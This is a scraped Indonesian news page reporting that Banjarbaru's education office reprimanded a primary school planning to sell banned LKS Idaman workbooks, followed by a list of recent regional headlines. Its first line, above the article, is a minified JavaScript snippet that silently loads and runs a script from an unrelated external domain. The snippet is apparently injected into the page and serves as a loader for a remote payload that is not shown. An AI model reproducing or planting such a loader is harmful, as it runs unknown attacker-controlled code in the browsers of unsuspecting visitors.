(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Sekolah ‘Dagang’ LKS Idaman, Kadisdik Banjarbaru Akan Beri Sanksi Tegas Jika Tetap JualanÂ


KANALKALIMANTAN.COM, BANJARBARU – Kepala Dinas Pendidikan (Disdik) Kota Banjarbaru Muhammad Aswan membenarkan ada sekolah negeri berencana memperjual-belikan kembali LKS Idaman. Dirinya sendiri mengaku terkejut, padahal larang penjualan buku LKS itu telah disosialisasikan kepada tiap-tiap sekolah.

“Kami tadi malam mendapatkan informasi adanya salah satu sekolah yang berencana memperjualbelikan LKS Idaman. Informasi ini segera saya tindak lanjuti dengan menegur kepala sekolah yang bersangkutan,” ungkapnya, kepada Kanalkalimantan.com, Rabu (4/8/2021) siang.

Dalam hal ini, Aswan menyebut rencana penjualan buku LKS Idaman itu akan dilaksanakan di salah satu SD negeri di Banjarbaru. Namun dirinya menegaskan pungutan uang terhadap wali murid belum sempat terjadi.

Baca juga: Lagi, Ditemukan Perempuan Meninggal di Sebuah Bedakan di Landasan Ulin

 

 

“Masih rencana, jadi belum terjadi praktik penarikan uang terhadap wali murid. Pagi tadi, kepala sekolahnya sudah dipanggil Bapak Wali Kota Banjarbaru. Yang bersangkutan ditegur agar tidak melakukan penjualan buku LKS Idaman ini,” beber Kepala Disdik Banjarbaru.

Ditegaskan Aswan, pihaknya sebelumnya telah mengeluarkan surat edaran terkait larangan penjualan buku LKS Idaman. Dirinya juga mengungkapkan akan memberlakukan sanksi kepala kepala sekolah jika praktik penjualan buku ini kembali terjadi ke depannya.

“Ini kan sudah mendapat teguran. Kalau masih saja dilakukan, maka akan kita berikan sanksi tegas,” ucapnya.

Informasi kembali terjadinya praktik penjualan buku LKS Idaman baru-baru ini membuat Wali Kota Banjarbaru, Aditya Mufti Ariffin, cukup geram. Bahkan, kekesalan orang nomor satu di kota Banjarbaru disampaikan secara blak-blakan melalui akun sosial media pribadi miliknya.

Baca juga: Sekolah ‘Bandel’ Masih Jual Beli Buku LKS Idaman, Wali Kota Banjarbaru Geram

“Ulun (saya) malam ini masih menerima laporan ada sekolah negeri yang masih menjual dan memakai LKS Idaman. Sekali lagi ulun sampaikan bahwa LKS Idaman tidak wajib anak sekolah menggunakannya. Jaman sulit !!!,” demikian postingan Aditya di akun Facebook, Selasa (3/8/2021) malam.

Pemerintah Kota (Pemko) Banjarbaru melalui Dinas Pendidikan (Disdik) sebenarnya telah melarang sekolah menjual buku LKS kepada murid, baik dijual sendiri ataupun kerja sama toko buku. Bahkan larangan ini telah disampaikan melalui surat edaran kepada seluruh kepala sekolah SD dan SMP se Kota Banjarbaru, dengan nomor 421.3/0698/PSD/Disdik ditembuskan langsung ke Wali Kota Banjarbaru, per tanggal 19 Mei 2021. (Kanalkalimantan.com/al)

Reporter: al
Editor: cell


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.